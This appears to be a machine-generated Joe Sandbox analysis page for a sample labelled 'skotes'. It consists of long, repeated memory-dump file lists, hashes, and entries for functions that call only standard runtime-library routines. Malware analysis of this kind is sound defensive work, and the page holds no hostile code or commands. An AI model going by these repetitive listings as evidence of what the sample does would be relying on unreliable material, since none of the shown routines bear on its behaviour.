Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 3bda15d3c564666f5b57853c52f3f53df839d222856e8ce69b6e7026ad0ccbb2
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 8631C031B8C255BACF16AA784C927FFBBE59F47300F0401EAD495D7242EE244D4A8791

Function 00BB4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BB4877
___except_validate_context_record.LIBVCRUNTIME ref: 00BB487F
_ValidateLocalCookies.LIBCMT ref: 00BB4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00BB4933
_ValidateLocalCookies.LIBCMT ref: 00BB4988

Strings

csm, xrefs: 00BB491D

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 84a2739706256badd986a69b4fbcb20368683aa049836791e4b5d86ac17e2b17
Instruction ID: 6dce73c7251723ce7ca308e36bf2af044f287cb74739544ee2ebd35452f00d6e
Opcode Fuzzy Hash: 84a2739706256badd986a69b4fbcb20368683aa049836791e4b5d86ac17e2b17
Instruction Fuzzy Hash: F2419E34A00258AFCF10DF68D885AFEBBE5FF45324F148195E8189B3A3D7B19A15CB91

Function 00BADD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00BADD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00BADDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00BADE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00BADE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00BADE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00BADE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00BADE74

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 1cbc1efc6e26c0d17c4e8d3f40c65b1da0da3d7ef2a52bcbe5a5a059fd253e7d
Instruction ID: 3fb390e50b4d209ae03c7822d5c800263d7a75af9a504685d578c4e95a458a2c
Opcode Fuzzy Hash: 1cbc1efc6e26c0d17c4e8d3f40c65b1da0da3d7ef2a52bcbe5a5a059fd253e7d
Instruction Fuzzy Hash: A5418C30A0C2449ACF14FBA484957ED7BE5AF12704F1444F9E8926B6D3DB348E08C762

Function 00BAE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00BAE7D7

Part of subcall function 00BAE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00BAE577
Part of subcall function 00BAE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00BAE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BAE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00BAE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00BAE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BAE879
Concurrency::location::_Assign.LIBCMT ref: 00BAE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BAE8B5

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 5c3666228f1561bd1e5b99abfe48fd4474aa030e47ea2f5195c9f6e6e0ace985
Instruction ID: a62b4a620b70380898124a436990fa7df5e4adf1bd54f8a16c1ca48ab1544664
Opcode Fuzzy Hash: 5c3666228f1561bd1e5b99abfe48fd4474aa030e47ea2f5195c9f6e6e0ace985
Instruction Fuzzy Hash: 4A413875A04205AFCF00EF64C895BADB7F5FF49310F1480A9DD599B382DB34A941CBA1

Function 00B96E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B96ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00B96F22
std::_Rethrow_future_exception.LIBCPMT ref: 00B96F32
__Mtx_unlock.LIBCPMT ref: 00B96FD5
__Mtx_unlock.LIBCPMT ref: 00B970DB
__Mtx_unlock.LIBCPMT ref: 00B97116

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 59b3e6d497f97d937b2dc59740113be195fb3072a4e7a4720f1f14e23b73d03e
Instruction ID: dcd19c665096bd5ecd85d569024decd90dd54d951a47eeab23675b15a4c7a944
Opcode Fuzzy Hash: 59b3e6d497f97d937b2dc59740113be195fb3072a4e7a4720f1f14e23b73d03e
Instruction Fuzzy Hash: F4C1CF71D047089BDF24DFB4D945BAABBF4EF05310F0045BEE81697692EB31A908CB61

Function 00BA44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BA4538
ListArray.LIBCONCRT ref: 00BA456C
Hash.LIBCMT ref: 00BA45D5
Hash.LIBCMT ref: 00BA45E5

Part of subcall function 00BA9C41: std::bad_exception::bad_exception.LIBCMT ref: 00BA9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00BA474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BA47A4

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
